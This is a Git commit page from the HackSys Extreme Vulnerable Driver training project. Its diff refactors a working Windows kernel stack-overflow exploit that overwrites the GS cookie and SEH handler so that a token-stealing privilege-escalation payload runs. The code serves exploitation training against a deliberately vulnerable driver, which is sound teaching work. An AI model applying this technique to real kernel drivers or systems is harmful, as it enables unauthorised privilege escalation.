admin/hacksysteam-HackSysExtremeVulnerableDriver
1
0
Fork 0
mirror of https://github.com/hacksysteam/HackSysExtremeVulnerableDriver synced 2026-06-08 14:31:02 +00:00
Code Issues Packages Projects Releases Wiki Activity

Refactored Exploit & Closing #9

Browse Source
This commit is contained in:
hacksysteam
2016-06-10 18:42:47 +05:30
parent 155c5f22a2
commit e786a545f8
36 changed files with 1050 additions and 648 deletions
Download Patch File Download Diff File Expand all files Collapse all files
Exploit/Source/StackOverflowGS.c
+49 -49
View File
@@ -50,18 +50,18 @@ Abstract:
#include "StackOverflowGS.h"
DWORD WINAPI StackOverflowGSThread(LPVOID lpParameter) {
DWORD WINAPI StackOverflowGSThread(LPVOID Parameter) {
HANDLE hFile = NULL;
ULONG bytesReturned;
SIZE_T pageSize = 0x1000;
HANDLE hSharedmemory = NULL;
PVOID pMemoryAddress = NULL;
PVOID pSuitableMemoryForBuffer = NULL;
SIZE_T seHandlerOverwriteOffset = 0x214;
LPCSTR lpFileName = (LPCSTR)DEVICE_NAME;
LPVOID lpSharedMappedMemoryAddress = NULL;
PVOID pEopPayload = &TokenStealingPayladGSWin7;
LPCTSTR lpSharedMemoryName = (LPCSTR)SHARED_MEMORY_NAME;
ULONG BytesReturned;
SIZE_T PageSize = 0x1000;
HANDLE Sharedmemory = NULL;
PVOID MemoryAddress = NULL;
PVOID SuitableMemoryForBuffer = NULL;
LPCSTR FileName = (LPCSTR)DEVICE_NAME;
LPVOID SharedMappedMemoryAddress = NULL;
SIZE_T SeHandlerOverwriteOffset = 0x214;
PVOID EopPayload = &TokenStealingPayladGSWin7;
LPCTSTR SharedMemoryName = (LPCSTR)SHARED_MEMORY_NAME;
__try {
DEBUG_MESSAGE("\t[+] Setting Thread Priority\n");
@@ -75,9 +75,9 @@ DWORD WINAPI StackOverflowGSThread(LPVOID lpParameter) {
// Get the device handle
DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n");
DEBUG_INFO("\t\t[+] Device Name: %s\n", lpFileName);
DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName);
hFile = GetDeviceHandle(lpFileName);
hFile = GetDeviceHandle(FileName);
if (hFile == INVALID_HANDLE_VALUE) {
DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError());
@@ -92,68 +92,68 @@ DWORD WINAPI StackOverflowGSThread(LPVOID lpParameter) {
DEBUG_INFO("\t\t[+] Creating Shared Memory\n");
// Create the shared memory
hSharedmemory = CreateFileMapping(INVALID_HANDLE_VALUE,
NULL,
PAGE_EXECUTE_READWRITE,
0,
pageSize,
lpSharedMemoryName);
Sharedmemory = CreateFileMapping(INVALID_HANDLE_VALUE,
NULL,
PAGE_EXECUTE_READWRITE,
0,
PageSize,
SharedMemoryName);
if (!hSharedmemory) {
if (!Sharedmemory) {
DEBUG_ERROR("\t\t\t[-] Failed To Create Shared Memory: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
else {
DEBUG_INFO("\t\t\t[+] Shared Memory Handle: 0x%p\n", hSharedmemory);
DEBUG_INFO("\t\t\t[+] Shared Memory Handle: 0x%p\n", Sharedmemory);
}
DEBUG_INFO("\t\t[+] Mapping Shared Memory To Current Process Space\n");
// Map the shared memory in the process space of this process
lpSharedMappedMemoryAddress = MapViewOfFile(hSharedmemory,
FILE_MAP_ALL_ACCESS,
0,
0,
pageSize);
SharedMappedMemoryAddress = MapViewOfFile(Sharedmemory,
FILE_MAP_ALL_ACCESS,
0,
0,
PageSize);
if (!lpSharedMappedMemoryAddress) {
if (!SharedMappedMemoryAddress) {
DEBUG_ERROR("\t\t\t[-] Failed To Map Shared Memory: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
else {
DEBUG_INFO("\t\t\t[+] Mapped Shared Memory: 0x%p\n", lpSharedMappedMemoryAddress);
DEBUG_INFO("\t\t\t[+] Mapped Shared Memory: 0x%p\n", SharedMappedMemoryAddress);
}
pSuitableMemoryForBuffer = (PVOID)((ULONG)lpSharedMappedMemoryAddress + (ULONG)(pageSize - seHandlerOverwriteOffset));
SuitableMemoryForBuffer = (PVOID)((ULONG)SharedMappedMemoryAddress + (ULONG)(PageSize - SeHandlerOverwriteOffset));
DEBUG_INFO("\t\t[+] Suitable Memory For Buffer: 0x%p\n", pSuitableMemoryForBuffer);
DEBUG_INFO("\t\t[+] Suitable Memory For Buffer: 0x%p\n", SuitableMemoryForBuffer);
DEBUG_INFO("\t\t[+] Preparing Buffer Memory Layout\n");
RtlFillMemory(lpSharedMappedMemoryAddress, pageSize, 0x41);
RtlFillMemory(SharedMappedMemoryAddress, PageSize, 0x41);
pMemoryAddress = (PVOID)((ULONG)pSuitableMemoryForBuffer + 0x204);
*(PULONG)pMemoryAddress = 0x42424242; // overwrite xor'ed cookie
MemoryAddress = (PVOID)((ULONG)SuitableMemoryForBuffer + 0x204);
*(PULONG)MemoryAddress = 0x42424242; // overwrite xor'ed cookie
DEBUG_INFO("\t\t\t[+] XOR'ed GS Cookie Value: 0x%p\n", *(PULONG)pMemoryAddress);
DEBUG_INFO("\t\t\t[+] XOR'ed GS Cookie Address: 0x%p\n", pMemoryAddress);
DEBUG_INFO("\t\t\t[+] XOR'ed GS Cookie Value: 0x%p\n", *(PULONG)MemoryAddress);
DEBUG_INFO("\t\t\t[+] XOR'ed GS Cookie Address: 0x%p\n", MemoryAddress);
pMemoryAddress = (PVOID)((ULONG)pMemoryAddress + 0x4);
*(PULONG)pMemoryAddress = 0x43434343; // junk
MemoryAddress = (PVOID)((ULONG)MemoryAddress + 0x4);
*(PULONG)MemoryAddress = 0x43434343; // junk
pMemoryAddress = (PVOID)((ULONG)pMemoryAddress + 0x4);
*(PULONG)pMemoryAddress = 0x44444444; // Next SE handler
MemoryAddress = (PVOID)((ULONG)MemoryAddress + 0x4);
*(PULONG)MemoryAddress = 0x44444444; // Next SE handler
DEBUG_INFO("\t\t\t[+] Next SE Handler Value: 0x%p\n", *(PULONG)pMemoryAddress);
DEBUG_INFO("\t\t\t[+] Next SE Handler Address: 0x%p\n", pMemoryAddress);
DEBUG_INFO("\t\t\t[+] Next SE Handler Value: 0x%p\n", *(PULONG)MemoryAddress);
DEBUG_INFO("\t\t\t[+] Next SE Handler Address: 0x%p\n", MemoryAddress);
pMemoryAddress = (PVOID)((ULONG)pMemoryAddress + 0x4);
*(PULONG)pMemoryAddress = (ULONG)pEopPayload; // SE Handler
MemoryAddress = (PVOID)((ULONG)MemoryAddress + 0x4);
*(PULONG)MemoryAddress = (ULONG)EopPayload; // SE Handler
DEBUG_INFO("\t\t\t[+] SE Handler Value: 0x%p\n", *(PULONG)pMemoryAddress);
DEBUG_INFO("\t\t\t[+] SE Handler Address: 0x%p\n", pMemoryAddress);
DEBUG_INFO("\t\t\t[+] SE Handler Value: 0x%p\n", *(PULONG)MemoryAddress);
DEBUG_INFO("\t\t\t[+] SE Handler Address: 0x%p\n", MemoryAddress);
DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", pEopPayload);
DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", EopPayload);
DEBUG_MESSAGE("\t[+] Triggering Kernel Stack Overflow GS\n");
@@ -161,11 +161,11 @@ DWORD WINAPI StackOverflowGSThread(LPVOID lpParameter) {
DeviceIoControl(hFile,
HACKSYS_EVD_IOCTL_STACK_OVERFLOW_GS,
(LPVOID)pSuitableMemoryForBuffer,
(DWORD)seHandlerOverwriteOffset + RAISE_EXCEPTION_IN_KERNEL_MODE,
(LPVOID)SuitableMemoryForBuffer,
(DWORD)SeHandlerOverwriteOffset + RAISE_EXCEPTION_IN_KERNEL_MODE,
NULL,
0,
&bytesReturned,
&BytesReturned,
NULL);
OutputDebugString("****************Kernel Mode****************\n");